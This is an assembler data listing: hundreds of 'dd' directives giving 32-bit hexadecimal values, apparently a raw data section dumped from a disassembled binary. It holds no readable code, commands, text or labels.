dd 4A76787Ch, 21169DDBh, 17829658h, 1B67F068h, 0F928A412h
dd 59B80132h, 22FBA2F9h, 9021F724h, 842E1467h, 0B53914C2h
dd 75EF21F7h, 1D495623h, 0FCBCFBEFh, 0A33C3C8Ch, 581C5D07h
dd 0D2BEE809h, 0F7FC55ECh, 91564B84h, 932CEBF9h, 0DC1B20D4h
dd 651FD297h, 245822D9h, 0E6CDFDF0h, 1B15420Bh, 968B4868h
dd 0A8308B3Ch, 5C470C78h, 0FC3A83Bh, 0D31A548Eh, 0F60B16E9h
dd 0A62CB5Ch, 1903071h, 0C933654Bh, 38B573C7h, 1DCB4B6Ah
dd 4AA38C54h, 0F06D329Ch, 0C2B9F609h, 41780C75h, 88FABB94h
dd 0D9272800h, 167542A1h, 16F411B1h, 8EB0450Ch, 93C3C9FCh
dd 5CBFDF2h, 7BFC9899h, 6A32D6CAh, 0DD587C4Fh, 0E4581486h
dd 5CDDCF2Ah, 0E611462Dh, 1607474h, 75100C46h, 39BF573Eh
dd 0B3194EC6h, 0D3CFA51h, 71100884h, 5708FAFCh, 0F0918CA5h
dd 33665069h, 0C9743D80h, 0E8565F09h, 1DF812E3h, 307B279Dh
dd 9C28F088h, 29620EDh, 73ECB962h, 0BD141800h, 5995DB33h
dd 461000CAh, 0ACB08953h, 2FA144BFh, 0F48A50DCh, 92F810BFh
dd 0A4A171FCh, 86DD7FFDh, 5A9182A7h, 0F5163BDEh, 61A7BAFDh
dd 0BF56840Fh, 0AC851A81h, 64BEDF57h, 50D9DC43h, 3268132Eh
dd 7C2B7FA1h, 7D195414h, 6C189CECh, 3885F033h, 0DED68B44h
dd 9D622B37h, 7D0684D8h, 0DF04E2B1h, 86B5F1C2h, 0A102500Eh
dd 0B5321029h, 0BD70D25Eh, 0D6400A85h, 3C428453h, 1302B984h
dd 0A60812F4h, 4CBDC428h, 0BD9112C4h, 0F8080289h, 41667520h
dd 0C839CEF4h, 0E881F818h, 84604458h, 0DB85C912h, 46DCB7C8h
dd 0E8CB22FEh, 83191075h, 811422FBh, 0A24C8B17h, 94A9AC43h
dd 860F06BEh, 0C2947526h, 111EE90Dh, 1242893Ah, 5605D786h
dd 4C58E5A4h, 10C533F7h, 3FF4A3E7h, 6364CE49h, 5722211Ah
dd 0DD948C14h, 32AC4C13h
dd 0A88418A4h, 508201D2h, 88886E2h, 0C33B401Fh, 27BFE90Dh
dd 0E010E528h, 0E08BD0FEh, 0F74B8D40h, 0E43BE72Ch, 0E91A9356h
dd 0F1895197h, 9FFA11Ah, 0D15FB004h, 2796A5F6h, 43C9008Fh
dd 24FDE9C4h, 6A61861Fh, 3D848A4Dh, 0A3C1A40h, 0A435F288h
dd 4433B0A9h, 381CBE90h, 0BA2B426Ah, 0FBE08331h, 7414C066h
dd 24981348h, 8BC0FDFEh, 765905F8h, 34B83336h, 728D5055h
dd 8E13B42Ch, 0BAC4710h, 0FE010E03h, 0D71AEC8Fh, 0EB7CFC54h
dd 142F1752h, 403C3068h, 5FA6F9A0h, 0D3E2354Fh, 18843153h
dd 9B0C23F6h, 0BF60FDCEh, 30465047h, 3BF584E8h, 0F1359F8h
dd 63494382h, 0A61C58E9h, 8B888134h, 3B091626h, 15EA084Dh
dd 0EBEF3381h, 0BD302223h, 0B8A0B093h, 0FD2E8446h, 51A7F04Ah
dd 31D9620h, 0FE81C504h, 73DC4789h, 65833E3Dh, 23D4C9CAh
dd 1C8D5BBDh, 325FC92Bh, 6434420Ch, 60B3B818h, 47844F45h
dd 0A20214E8h, 9EB1521h, 94EC2230h, 50E22CEAh, 0FD425186h
dd 0F82A0B6Ch, 0C5BDA4B0h, 0F7100813h, 0E6921BEh, 0C210F4A2h
dd 55FDB49Dh, 1021A64Ch, 68B014F7h, 27FA1884h, 0E8E410EBh
dd 62CD4A32h, 0CA18108Ch, 9767BD51h, 0E88BA421h, 2F13FC2Fh
dd 51AEADFBh, 5442362Ch, 0FCB72216h, 47A16E5Dh, 2EBF51ECh
dd 0AC10A1A3h, 0FC38A103h, 71A0B00Ch, 0F4500CE8h, 0FD433C13h
dd 9DF9AC10h, 7F25F356h, 0BD3D45EBh, 0E523EE5Ch, 740D0364h
dd 6C486807h, 5EBD81Dh, 220F2CDBh, 0D198D44Ah, 2598453Ah
dd 2F9A52BEh, 8370466Ah, 0C2A831D6h, 51F68489h, 1E6AE041h
dd 0A20C2890h, 0BD833080h, 0B09C487Ch, 0B4E69864h, 68D10842h
dd 88177514h, 4B91E989h, 0D26C086Bh, 0EB46C1D1h, 5AA32B1Bh
dd 40101D46h, 654F886Ah, 0C2142528h, 0A3643988h, 4CAA2386h
dd 89F9FB12h, 750ACAA3h, 1BE8F616h, 972E841h, 0EB955FB8h
dd 57CAF91Dh, 511A4A17h, 2BF023D3h, 0EC174710h, 0E8A01AF8h
dd 9093F0B2h, 717DD625h, 77DD6EC4h, 0F022A937h, 24CB6697h
dd 4492F325h, 80FA9010h, 50492F38h, 6D447047h, 7AC67008h
dd 1EFC495Ch, 30F5D95Eh, 2FE1F206h, 0F133A34h, 4318F012h
dd 9FFA6B26h, 761A5264h, 287EC777h, 53E62B8Ch, 26396931h
dd 802EC700h, 13A035BCh, 24647525h, 324FF515h, 0F6911A48h
dd 1002303Dh, 1D84C646h, 0E5208891h, 0EB838B83h, 2E19881Ah
dd 752F3C80h, 15C6A05h, 0F03EB58h, 4988C0BEh, 465A0822h
dd 504E87F3h, 25BBE843h, 2C813BBDh, 642A9072h, 4ED8AAC0h
dd 680C1275h, 0DAFA31F4h, 1440A1F1h, 11F0680Ah, 109F284h
dd 0EC2C06A3h, 9415622Bh, 0C20C174Ah, 74F0F8EAh, 894C0A4Eh
dd 5FEB0708h, 9BE7107Fh, 0A5EF1D19h, 0A703FD5Ch, 0F2E7E21Bh
dd 3C9D12C6h, 0E8B2A4F9h, 667477C6h, 53147522h, 86755C55h
dd 6DF8872Bh, 0C04C8822h, 0F15AC49Fh, 1862618Ah, 9A16086Dh
dd 21B7A6B7h, 1C1CF13Bh, 0FCD08DC4h, 0E4B58943h, 5BEB0F12h
dd 0E9126CE6h, 7176FDE5h, 29036A3Ah, 21B26756h, 0ED32D580h
dd 74F190DDh, 886FAD30h, 5914F0EBh, 0DE4741A1h, 9045CA64h
dd 53BF846Ah, 853CFC5Eh, 0FB44758Bh, 5602F73Ch, 0B499A868h
dd 576594B9h, 10D29B13h, 64EB6E1Eh, 0CD52D460h, 0CBD12E64h
dd 6738CCB0h, 3CCDF88Ch, 682A408Ah, 405E2ACCh, 8CA4C899h
dd 2E488D45h, 0C73B40C9h, 0DC628189h, 0BB3D755Bh, 880C32C3h
dd 60905047h, 72A95868h, 11261447h, 4D9D2618h, 980269B7h
dd 0EDEC033h, 7DCC0593h, 4629339h, 0CCE7EBF0h, 54694AFh
dd 6C88DB23h, 185310FAh, 0F806FC5Dh, 9D736BE8h, 65DEDB2Ah
dd 94F7C757h, 5D392001h, 5F74F810h, 0BE018322h, 1128F285h
dd 6010FDB8h, 22094A71h, 65C1FE3Ch, 0D27CD6E9h, 0F2D5D78h
dd 0E8B9A284h, 141D70ACh, 0DD385C88h, 68683244h, 6C375820h
dd 848C0A65h, 80534010h, 9FB9F759h, 6B48C2FFh, 5789B64Dh
dd 2C707285h, 8FDD535h, 4B908510h, 336BE8F8h, 2D1F5E31h
dd 4C629A0h, 0E6F22A38h, 432913D4h, 648B884Ah, 87012C1Ch
dd 9C286862h, 2C574334h, 0CF23470Ch, 0E21C1414h, 219ABE3Bh
dd 0A7D2F6B1h, 0FA1B741Bh, 3F9269CBh, 82021985h, 0E8466DAh
dd 3672784h, 750C74E2h, 3C80CC00h, 0F0F32F08h, 0F4127548h
dd 96665040h, 31A0C245h, 0A54E0107h, 0C0292990h, 0C262796Fh
dd 52C9BCF3h, 20F67938h, 19FC782Dh, 8729A847h, 0F00EA27Fh
dd 505136F6h, 589E233Fh, 1F03D088h, 0A6A5E7BFh, 221E199Dh
dd 447016A7h, 0B86C68A4h, 5FFDB6E5h, 84AE61F1h, 211B4A8Ch
dd 0B2E290B4h, 0D0EB1271h, 0CEC8CF2h, 1B7CA045h, 9C1DE0CCh
dd 0E02F6689h, 0B06FB930h, 0C3D2771h, 77870F02h, 0ACED91AFh
dd 39A02A1Fh, 4D08C551h, 0C961BF2h, 0EE056240h, 88EA4A84h
dd 68A88C52h, 0EEA4ED60h, 0CFF62029h, 8ADC109Bh, 0B4040B01h
dd 749BD1F8h, 42915950h, 7018841Fh, 6DB83FBh, 9F6A3F63h
dd 99AE84F2h, 741505DFh, 68C8931Ch, 0BD666F8Ah, 2F27F21h
dd 287E928h, 8AA88408h, 74690C7Bh, 0E1C81943h, 483F9814h
dd 57886F42h, 3CF24C09h, 0F4C224EFh, 92827C76h, 14117116h
dd 7D644068h, 59F8370Eh, 0E8861E84h, 2C903D66h, 4E591E29h
dd 0C30776E2h, 0A9B4B4Fh, 4254088Dh, 92BCF1BAh, 13E53043h
dd 0EC181F07h, 0A0A66E19h, 0E92C736Eh, 3AABFE83h, 8DF16558h
dd 6E906884h, 482A7ACFh, 0E9243D72h, 0FCC88448h, 0A2C12245h
dd 978598B5h, 0AC59AFE8h, 14B889ADh, 0C46EA695h, 8CC1EB7Bh
dd 0C287F756h, 213CF0F6h, 2176F36Ch, 0A3BF6CF4h, 0F32EC2F0h
dd 0F310083Dh, 102B1F44h, 30CE6E48h, 9264CAF0h, 87F2DAF8h
dd 98858B41h, 2E82BB14h, 0A604D50h, 79DB6DC8h, 241C0C1Bh
dd 0CA2126EBh, 0A868781Bh, 535651CAh, 0EFF3E861h, 7190507Dh
dd 0A47669C8h, 7B67BD6Ch, 62E9DFA6h, 0B9D06566h, 482535B4h
dd 31A09811h, 39F0354Eh, 0A6526299h, 0A82D5813h, 88FC1C90h
dd 159CC905h, 696D782Ch, 0D9E9F742h, 742E9AEBh, 0F7452B8h
dd 1B891590h, 2D6416DCh, 8EF914EBh, 1504688Ah, 4FE9C789h
dd 0E9F11000h, 0B3929329h, 5380717Ch, 0F6331D56h, 577E2557h
dd 75A35E3Ch, 0AC558034h, 1E84935Bh, 8C5B92B6h, 56888208h
dd 627B9C53h, 0BAE0C63Bh, 6C5B740Ch, 0C2894989h, 8D99FBFCh
dd 0C804CC1h, 0DF7D3B39h, 0DD8AFC97h, 26A843Dh, 22FFD8F7h
dd 81E6AC7Dh, 2D18FC68h, 140B5745h, 68B0DE68h, 357E4910h
dd 0F162F73h, 333DB918h, 5CA22769h, 94299BB7h, 385394B9h
dd 9DA2D6E8h, 10D7CD5Fh, 0F0CDE8B8h, 16609EB4h, 0E3E3C80h
dd 0C604755Ch, 572F805Dh, 0F0B7E846h, 0EA613DB4h, 287AC78Bh
dd 218B0414h, 0CCA560DCh, 807A9DE6h, 51066A2Fh, 27E96843h
dd 0F090FFF9h, 0A5F4E81Ch, 11FDCACEh, 0A73B1C75h, 9182231h
dd 34C0E8F2h, 0F4CA8FEBh, 74F818F4h, 28F6A170h, 546C13Ah
dd 7237FB8h, 681985BEh, 0B33B5068h, 24146690h, 68201306h
dd 8CB08C80h, 3662ED4Bh, 64CCDEF0h, 0DE3F502h, 0BB726E2Ah
dd 0C41EB956h, 229ADBCAh, 0D2E59F10h, 90CA5E13h, 4E00B84Eh
dd 7BB7F7E8h, 0E7B66018h, 90CD7882h, 19751429h, 0F9931457h
dd 52F64B76h, 32C05413h, 0C655F5Eh, 4A088408h, 17F83E59h
dd 0ED7358BEh, 0F2E42FD8h, 3662B7A7h, 0F264F9D6h, 5383840Ch
dd 1E2D4048h, 850DA5F3h, 936ED194h, 829AF48Bh, 0CDA507DEh
dd 75F005D4h, 0BCA6C571h
dd 85F2A5B2h, 44F88084h, 1D217310h, 47201CE7h, 0F88010FFh
dd 0C4F01C8Fh, 8431FE9Ch, 0BFAD11FCh, 0F842801Ch, 0B1444518h
dd 43DE90B5h, 12E4B2CEh, 312B2DFEh, 0E528A5FFh, 0A7539341h
dd 64BC3342h, 0A8D84E2Bh, 0FAD2B4CEh, 196775FEh, 33FFBE12h
dd 5DD157B0h, 0CDB22EC0h, 3BD619CBh, 9425C172h, 809B823h
dd 6FC4BDE9h, 8C4E8842h, 0ED624B92h, 68C33BFFh, 5375F806h
dd 25D0F064h, 0C0A1F090h, 942D0872h, 0D0E52368h, 0C2E1BEC8h
dd 6321E294h, 0E3D06243h, 0E3231571h, 54F212A7h, 0A2391756h
dd 30904C79h, 0BD890DEBh, 1D6FB680h, 235B78BFh, 0B54C28ECh
dd 0CCE940F8h, 0BFC8055Fh, 0FCC8A4D0h, 0ED7C4B85h, 21E88242h
dd 0D2436CE6h, 0A211FF40h, 335A6F17h, 0AD59F1A3h, 28F8E09h
dd 8BC3BE56h, 8C0BB5CFh, 66A8FEFAh, 94C41181h, 74BF10FCh
dd 0F0D8C2AFh, 64E1C8CAh, 7188A1D4h, 4E7D6814h, 1A2CD64Bh
dd 2627F20h, 3D77455Dh, 20CFA828h, 3828E532h, 595A299Dh
dd 0D156383h, 29BD80C9h, 44093F1Dh, 22F7645Ah, 0E819FD8Ch
dd 8419ED05h, 35AD2BD9h, 168C98F0h, 919DEF7Ah, 32262A59h
dd 3B3E1442h, 4BD711CCh, 9AF9D35Fh, 0FA51E417h, 7C146B28h
dd 691A478Fh, 0B3B989D3h, 8C5343B2h, 734B45FBh, 0E38989FEh
dd 0D1848A2Ah, 0DF9D8829h, 0DD29C61Fh, 5046F72Ch, 22824322h
dd 0DD60FD83h, 0A99B3FBh, 0ADCCD44Dh, 70C5F8D8h, 44BE51FCh
dd 62FA80FCh, 52E62AB8h, 1968E327h, 58BEE40Ah, 7DAAE443h
dd 0D3D0DA45h, 6B888DBCh, 0E9590541h, 0FC31CC0Ah, 0C1AD6091h
dd 0B7A35413h, 0FD8C8872h, 18E479EAh, 9AD15CCCh, 0C5118425h
dd 0F3412718h, 0B18A7303h, 0A1030467h, 8D8A1B08h, 4A48BB2Bh
dd 9EF980C4h, 60F5801h, 0C932C0FEh, 0EB834426h, 0C17A087Ch
dd 200A8D51h, 53888203h, 0C0B6300Fh, 0E0C1C906h, 6103083Ah
dd 0C62B090Ah, 0E8E0423Eh, 4D47FD26h, 0E81E40A9h, 0D633C8FCh
dd 58B90111h, 0C2F42A01h, 447A580h, 5C693591h, 25C52329h
dd 2B4933F0h, 71C8A13Bh, 25C0E901h, 4F40B15h, 71B86809h
dd 5D26392Ch, 0F8971F4h, 0A5B5FE8Fh, 25211DCh, 9E92880h
dd 9D265CDCh, 9E3959C1h, 597F1062h, 9BC43513h, 0B594E8E0h
dd 56E32BFCh, 5AF9ADDDh, 4B4AF68Fh, 362E53BCh, 30686D18h
dd 584C7749h, 83E80CEEh, 2E392AE2h, 0A4A6881Dh, 20BF16AFh
dd 56417471h, 1F90BE30h, 5003068Bh, 5546B4D8h, 0E4C2D3DAh
dd 77242105h, 115F541Ah, 93F65711h, 0DA283F4Ah, 0C6258340h
dd 7EFE683Ch, 0D098A3F8h, 1635FF5Eh, 446A9B8h, 1037E17Fh
dd 213F43E1h, 0BC159010h, 0C26A899Bh, 0AFE70E92h, 56BAA50Dh
dd 62402318h, 38C4C53Fh, 0D549BB51h, 0CDE8F218h, 0C21DE4Eh
dd 2570277Eh, 34FF0B14h, 0CB29A8C5h, 0E58C8A94h, 0E8099C42h
dd 4351E1A0h, 0DC161394h, 418A9161h, 0C8790AF3h, 3EC7782Ch
dd 76184F84h, 85F0EF3Eh, 81B5384Bh, 0B8563870h, 3642792h
dd 47283F71h, 9411A3B0h, 46224273h, 0E8046A0Ah, 6C99934h
dd 1243438Bh, 43C24CA1h, 0BB24BFE0h, 0F75909EFh, 0A353863Dh
dd 1A18BD34h, 0C301D89h, 68C3FAD6h, 0BE310D03h, 0D345BC28h
dd 0B7BB5B50h, 186AF950h, 9B92B8Ah, 7C23D74Eh, 836420A3h
dd 6A474028h, 79B8D67Fh, 421A7526h, 530C1813h, 61E81738h
dd 5C76386h, 4117B7BCh, 8218520Bh, 691D1934h, 1D82DE16h
dd 0B605C655h, 145EA44Bh, 68828635h, 0D447950h, 29447D4Dh
dd 0BF201A53h, 0DB5FC4B2h, 2CA3F221h, 42FE45ACh, 7D8E6853h
dd 406B84A2h, 2D5C5EEAh, 1D120DC5h, 0C3232DE6h, 9B70F020h
dd 2A2C2FE1h, 8FD44FCh, 141D60A9h, 201E7C76h, 0BF183D70h
dd 0C780C17Ch, 13244904h, 88129F90h, 800E78C3h, 0A9C4C242h
dd 78102EF8h, 0C410F1C1h, 90182F12h, 0F87888C3h, 0C4142384h
dd 326A2C84h, 1D858FBDh, 74B541C0h, 2573E9F0h, 44234AF2h
dd 0D8A4632h, 235F6484h, 10C38C11h, 5A8478B0h, 800538DFh
dd 218CDA0Fh, 7842C384h, 889827C1h, 5F1D04D2h, 7512249Eh
dd 68207319h, 0E95FAF8Eh, 0E19EF350h, 90DC418h, 0C65221B6h
dd 2101DD1Bh, 0DBE2E803h, 0F1385237h, 547ABE40h, 56894C9Bh
dd 6A333053h, 0B026905Ch, 60A096C5h, 18880274h, 3950A124h
dd 6C54D0A0h, 586AA393h, 0CC621B0Bh, 0DE9322BDh, 0FD244C45h
dd 25C8A30Dh, 0A2408DF4h, 28EC0849h, 640D8907h, 4411136Ah
dd 681A5032h, 2BD5E821h, 42CF59A9h, 4E107818h, 0C40C91DEh
dd 0D9D11C03h, 28C16084h, 96BD44C8h, 3A9A5A46h, 75472F45h
dd 590B14D9h, 1C4892D0h, 36DDF2A1h, 3B45C62Bh, 61449FFDh
dd 748826A5h, 0DDEB42C1h, 8B9107Dh, 9BC2BF56h, 0B1EFFC6Ch
dd 0DE8C621Bh, 60B24055h, 4040883Ch, 305AC8A3h, 0D279B4E7h
dd 2DE15449h, 864D6635h, 5E2D51E2h, 8FB4715Dh, 0CEA95610h
dd 8C57F8EAh, 81F8067Dh, 0E8F000FCh, 99E56F60h, 76590FA2h
dd 711424DDh, 0FC7032AAh, 0F44AF824h, 79A40BB7h, 7062535Eh
dd 6C26E6F3h, 8E1B7639h, 0D27AC0ABh, 90F81AC8h, 44A0DE81h
dd 0F58674FCh, 3B89072Fh, 0F605F7C6h, 68941F65h, 0F44D25B1h
dd 59F80952h, 0C1C3077h, 0CD520489h, 33F94ED1h, 0A90120C5h
dd 690F96E6h, 82ED1D47h, 0DBFC7D86h, 3BCA2780h, 6FB191D7h
dd 820845ECh, 9D51EC75h, 1E7F69C2h, 0B2FC4BBCh, 6EE59645h
dd 0F6BF8D3Fh, 9F6C7B33h, 0D8647B0Bh, 2D68FA95h, 2313FEE0h
dd 6EBFFC9Ch, 10BDCA15h, 56309827h, 0DCF85E8Bh, 0FB123B59h
dd 33F89F0Fh, 0A028CE1h, 0EC4F6A3Ah, 0FEB084F7h, 0D475B027h
dd 482D80C7h, 0C9FDC601h, 5213D840h, 0D6A94C5Bh, 2BDC5FC6h
dd 6959DE09h, 0E91090DBh, 8349C3A5h, 3014F07Dh, 41840F74h
dd 6842983Fh, 5BEB590Dh, 78EDF205h, 27CEF9D5h, 12BDEBB3h
dd 8A57C412h, 0FD7411E4h, 8B79F010h, 112028BCh, 1983304Ch
dd 274414C8h, 0F95E16A9h, 0B5C63247h, 0FAC2BF8Fh, 0B5CA1355h
dd 30E06E4Ch, 5F9DB87Bh, 104924BBh, 0B0AC5893h, 6B644586h
dd 0EC7DA7D1h, 122DAF30h, 5740BD80h, 0F15AF510h, 0DE6D59E8h
dd 6EC138Fh, 9BBFC010h, 0ECE8B80Dh, 0C8E79EB3h, 849CBF21h
dd 48E72E38h, 44B0446Bh, 1294ABE9h, 0A8F86D28h, 91DAFC26h
dd 0A9E01626h, 3160218Ch, 8FE8830h, 9467B9E4h, 6ED17A10h
dd 8540EB6h, 3DAABF25h, 6E891EC1h, 14661AF2h, 0A42112E8h
dd 21EC10FEh, 21C490A8h, 4BE09A94h, 0D3D2947Ah, 0EFDF4CFCh
dd 0DA8D2191h, 557E3A89h, 8C90E4CFh, 0B14400F5h, 0AC5934BFh
dd 838BE1F3h, 98758422h, 9EAC4D11h, 4734EF5Ch, 1A4CC177h
dd 8FEF04D8h, 0CCB2620Fh, 2D146701h, 0B4C49B7Ch, 8445FC52h
dd 0FB270144h, 32271C5Fh, 4C64D44Dh, 0B4088528h, 745393FEh
dd 838C35FEh, 274CF8D6h, 0D6E2103Ch, 562F8F41h, 753E02F6h
dd 4E44BE69h, 4A15EB97h, 8893D4E3h, 0F995B8DCh, 0B84D99A0h
dd 38681034h, 0E664977Bh, 81889AB2h, 99985D39h, 8407D895h
dd 2734B61Bh, 0DF539EDCh, 0B23DE871h, 3410AF27h, 36D584FEh
dd 33795909h, 0C53888A7h, 35D4D41Ch, 89FBC2FAh, 49F69B1Ch
dd 46483C9Ch, 0CCA48217h, 51AAB482h, 0DC4003D0h, 7C5053C8h
dd 887AE810h, 0A073A129h, 0DE1EC5C1h, 0D8FE88D3h, 2BB01A95h
dd 9207F6F4h, 0D4F5588h, 47513D3h, 0A376CBA6h, 0D84D8431h
dd 4C882EA7h, 986465E8h, 7C4AC432h, 1A45BB14h, 7D6A2C24h
dd 0C0D65F1Eh, 860FE020h
dd 51C85C4Fh, 207428D0h, 0F088EBC7h, 0F220EA60h, 1FEBD614h
dd 0FC2E6121h, 0D4EDF774h, 0AA7EDC26h, 1D5B8E7h, 0C9EC5074h
dd 0CF21D1D0h, 22044A76h, 0AB655057h, 404378A2h, 91B54C22h
dd 5826F09Fh, 1BB0E5A1h, 22357D13h, 0AC8D413h, 14D50BB8h
dd 0A3F4DA4Dh, 4BD507DBh, 0B6EA453h, 0BC9090B3h, 0C2E8D4C3h
dd 1AE9334Fh, 65DD4CA2h, 524A97F2h, 0EA55646Bh, 0D101B656h
dd 0B8895B47h, 277C2729h, 2D953F6h, 7BD82589h, 60C044CFh
dd 9F57066Ah, 0E7BAF146h, 0D3085D27h, 53FC44F7h, 30572A49h
dd 4E0168A2h, 125F5204h, 8458B5B0h, 43C47050h, 80142CFBh
dd 9B419B95h, 6A6519CAh, 1C7C230Ah, 4C518BB9h, 0CA842BEDh
dd 7BE82809h, 0EA748B23h, 0DE495358h, 0BD890916h, 0B594AB8h
dd 961A77DDh, 0FCB458B8h, 847BD888h, 29E8F44Dh, 0D9351257h
dd 5AD1C482h, 35C84C33h, 2004C4A2h, 6E12BE74h, 0EC013964h
dd 407CBD68h, 9489BFC3h, 23C84738h, 0CE1D91C6h, 0E8C5D868h
dd 88344F69h, 4F9C1549h, 748C0052h, 0BF47E9F3h, 87D87E8h
dd 7BC973BEh, 32C6AA63h, 565FD43Eh, 22F13455h, 0C6241344h
dd 0BCF98BDEh, 6E60EE0Dh, 4148C933h, 82512066h, 0B29093A8h
dd 47AB595Dh, 91D59933h, 190208D9h, 20BECCD7h, 7D3857E8h
dd 847E47D6h, 0C4B26AF5h, 0EB4C56D2h, 4A2ED369h, 0E4150F78h
dd 0EEB46D8h, 1D599FCEh, 230C20B2h, 0B838C73Bh, 7E8B40BDh
dd 75BEDD40h, 0E489AA0Eh, 5650B089h, 9D71C7FCh, 65E0AD15h
dd 16EBCCD6h, 525EA9FCh, 42BCC887h, 6D117C88h, 93A7B35h
dd 8738BC8Bh, 5182D022h, 0B9A4B7ACh, 0CC138D14h, 1C25B38Dh
dd 99469065h, 4F160E8Bh, 9A2BBDD8h, 41C67477h, 7E7EA568h
dd 5F4D6038h, 4C5D9ED0h, 3068A1D3h, 0CEE8ED84h, 3F9B8932h
dd 84622310h, 7BD9B0FFh, 0AC088B58h, 0E8FC0909h, 856D2AAh
dd 0CA225B79h, 0CA50CFD0h, 7C7B97BBh, 5E54BC11h, 64D55A1Fh
dd 1D10564Dh, 0E3365363h, 7E824046h, 173E9768h, 628BF349h
dd 4A5DE9C3h, 28E890D4h, 0DCDE8811h, 0B9E7A486h, 98D813C7h
dd 2481ECDDh, 0F652691Ch, 79BF28AEh, 4BD85740h, 1473A3EEh
dd 0D07AD4A5h, 0B2DA9B11h, 971D44B6h, 7E34A94Eh, 1D264B1Bh
dd 85E98C35h, 57B91A83h, 0E8ECFA1Eh, 9CD1B925h, 0FA4C9561h
dd 772CD44Fh, 25B8110h, 7DB7AF2Ch, 59977066h, 8821225h
dd 1C147C47h, 3E4538A8h, 4C1631B4h, 0EBA767D4h, 0EE900F97h
dd 0D2CEF027h, 0BC9D03B2h, 586A9854h, 20E1F457h, 87570801h
dd 8992502Fh, 8148B551h, 20A82FE8h, 21EC2D1Bh, 21087DD0h
dd 228CD34Eh, 0F13EFF75h, 251A0912h, 3049937Dh, 441834BFh
dd 0A6ABB738h, 0FD427E2Eh, 8F304F1Ah, 0F8A56CD1h, 264AB314h
dd 2CAAAC1Dh, 797E4948h, 0A43F5D3Ch, 64786C48h, 531BD2B5h
dd 116A1290h, 0CD171EDDh, 8223F6Bh, 88FF2C21h, 47F48146h
dd 7F684328h, 514D4586h, 0AF4CE94Fh, 20ECE585h, 454AB296h
dd 0BA282E3Ah, 2135A6C0h, 18117CE0h, 0AEF80995h, 46C7AA46h
dd 88980B2Fh, 0CF8ACFB6h, 90042489h, 0E62CB205h, 0FF382D85h
dd 72337BB1h, 84994969h, 5FCD8D47h, 84ACCD43h, 4C8B0CF4h
dd 0F8360306h, 0EEC82271h, 0CCAA2DFAh, 68174D31h, 8AA44AF9h
dd 0DBF2F9BDh, 4F07A7F5h, 8B36C518h, 31E80982h, 0B19165CFh
dd 2FB306Bh, 0D6EA5568h, 62B25765h, 0FE1367Fh, 30BD8014h
dd 0ED9F814Eh, 451A0601h, 0E004E631h, 0BC5D3840h, 2DB57774h
dd 28EEA6BBh, 0D50909F5h, 61C5C87Eh, 2E68162Ch, 8B247EB8h
dd 327F2EAAh, 2161282h, 879D88B4h, 50EAC657h, 2FE85D02h
dd 0C5CAF4D1h, 841D1330h, 648E1377h, 6A966858h, 2797CE43h
dd 0F608C887h, 8B6603D0h, 6F4C3285h, 7F199727h, 0D914341Ah
dd 5C9D7222h, 0F68E5A4Dh, 0A381FC4Fh, 98228D68h, 5B023D12h
dd 4ED097E8h, 42988FD6h, 8A1CCDD2h, 6DED5F96h, 10906FA3h
dd 7B2DA384h, 43742821h, 0FC4CD063h, 0DCE8175Ah, 2AC974CFh
dd 0E8570E4Ch, 5F891A39h, 5D852494h, 38F40690h, 0CC4FEE18h
dd 953ED479h, 7C08EE0Eh, 14B4240Ch, 0C69D86BEh, 569D89C9h
dd 0BAB802D3h, 0FC8D2F79h, 855B520h, 85509439h, 55A7413h
dd 0C0EFA6B4h, 89107508h, 23C50495h, 210B85C7h, 699A7602h
dd 2CC515F4h, 1B05B029h, 26C95DABh, 4F11C8CDh, 0D5DE53C9h
dd 572C74E1h, 296F3449h, 0CF4D6F5Bh, 1609605Fh, 74A11629h
dd 0A73E4D48h, 6515792Bh, 44825152h, 461435DAh, 53CA1942h
dd 0EC06E944h, 16956122h, 3F42038h, 39021DBCh, 0F57F0C1Dh
dd 0E5F625AFh, 8DA89256h, 50578CF4h, 61BE14B8h, 30BF0B18h
dd 4D8D0091h, 68511CFCh, 60021919h, 7692FFFFh, 0C445AA50h
dd 10B2332Ah, 306519EDh, 0A5F33A76h, 399B602Bh, 0C18F2DB4h
dd 0ADC33BEAh, 850DE3A2h, 4E0E2866h, 28E3440Ch, 4A8A2291h
dd 241119A2h, 23966B0Ch, 89EE1844h, 0EB709039h, 0B215599Dh
dd 90D29804h, 0B3D3263Ah, 0A8179693h, 6A908326h, 0E281264h
dd 906A35EAh, 78EBD926h, 573D6A30h, 0A4E93FE8h, 6045D427h
dd 58206815h, 44E54A10h, 3EDE530Bh, 0FD108DEBh, 91FC5C64h
dd 8CD05ADh, 14EB2920h, 0CCEFE216h, 0A6531010h, 9B169F14h
dd 3FA59121h, 2C08FDA1h, 1F526B2Ah, 149D0952h, 0B4E63CEBh
dd 8AA54A28h, 4A104715h, 829E5F1h, 883E9128h, 2E3EC530h
dd 46073EC6h, 25939F4h, 4DFE8644h, 0FB9C16AFh, 4EB9DE28h
dd 11E3E6A7h, 9884FD64h, 44EC2802h, 2A25E8FEh, 806920D4h
dd 0C1EB05BCh, 75595C1Fh, 11195814h, 9C88F98Bh, 0D8FA1854h
dd 784868BBh, 64169FE0h, 66562CEBh, 2F31D14Eh, 5302F85Dh
dd 46F51A92h, 0FD6821A0h, 88876490h, 71E908A4h, 0A14D21B2h
dd 625D3424h, 0FD4C5A27h, 23445E89h, 0CB94148Dh, 5E242B39h
dd 410A2AD1h, 0C2688B1Fh, 0FE98D528h, 12BFC932h, 64845380h
dd 0D331BF4Ch, 347F04BEh, 0A261BEF9h, 9A0C91C4h, 348BD040h
dd 565FA83Dh, 2A148DD2h, 0D7279F8Ah, 0BB64C076h, 2A748EC8h
dd 791DF671h, 80540C10h, 2E13E8BDh, 45127520h, 423694E9h
dd 2A2E8F09h, 41A1E639h, 0D9F2B417h, 0C5531819h, 52161638h
dd 0E054141Ch, 42D99514h, 46E85D67h, 1C53C82Ch, 2AE4557Ah
dd 8FE9AADDh, 2D980D52h, 88DD2A69h, 0CFE65211h, 0AE1EFD5Dh
dd 2BA6A34Eh, 0E83F844Fh, 0FA4487A8h, 91C26833h, 185645D7h
dd 16A7BA9h, 71911BACh, 7DA2D962h, 54253132h, 0B1862C56h
dd 8B8458F7h, 6A32A0D2h, 2D534053h, 5021D4C8h, 9A84680Ah
dd 0CAD59F9Bh, 271FC435h, 99DDBD0h, 0B3B2F676h, 335874D2h
dd 28D63CD3h, 0A3700858h, 46D7C64Ah, 0D4448D5h, 3832C574h
dd 28185819h, 0C4742186h, 20C81490h, 1199FCC2h, 86EC1850h
dd 86E018F9h, 2A41B452h, 0C520DC8h, 0DAC2A68h, 61278055h
